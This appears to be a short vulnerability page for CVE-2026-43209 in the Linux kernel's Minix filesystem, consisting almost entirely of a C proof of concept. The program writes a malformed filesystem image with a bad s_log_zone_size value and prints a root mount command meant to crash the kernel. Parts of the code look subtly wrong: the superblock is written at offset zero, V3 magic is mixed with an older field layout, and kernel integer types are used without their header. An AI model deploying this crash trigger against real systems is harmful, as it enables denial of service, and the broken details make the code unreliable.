CVE-2026-43209 Linux内核Minix文件系统缺失检查漏洞

// PoC for CVE-2026-43209 // This code generates a crafted Minix filesystem image with an invalid s_log_zone_size. // Compile: gcc -o poc_minix poc_minix.c // Usage: ./poc_minix (then mount the generated image) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Simplified structure for demonstration struct minix_super_block { __u16 s_ninodes; __u16 s_nzones; __u16 s_imap_blocks; __u16 s_zmap_blocks; __u16 s_firstdatazone; __u16 s_log_zone_size; // Vulnerability: lacks sanity check __u32 s_max_size; __u16 s_magic; __u16 s_state; __u32 s_zones; }; int main() { const char *filename = "minix_vuln.img"; int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) { perror("open"); return 1; } char buffer[1024] = {0}; struct minix_super_block *sb = (struct minix_super_block *)buffer; // Set valid magic number for Minix V3 sb->s_magic = 0x4D5A; sb->s_ninodes = 64; sb->s_nzones = 64; sb->s_imap_blocks = 1; sb->s_zmap_blocks = 1; sb->s_firstdatazone = 2; // Set s_log_zone_size to a non-zero value (e.g., 5) // The kernel expects this to be 0. Invalid values can trigger crashes. sb->s_log_zone_size = 5; if (write(fd, buffer, sizeof(buffer)) != sizeof(buffer)) { perror("write"); close(fd); return 1; } close(fd); printf("[+] Created malicious image: %s\n", filename); printf("[+] To trigger the vulnerability, try mounting (requires root):\n"); printf(" sudo mount -t minix %s /mnt/test\n", filename); return 0; }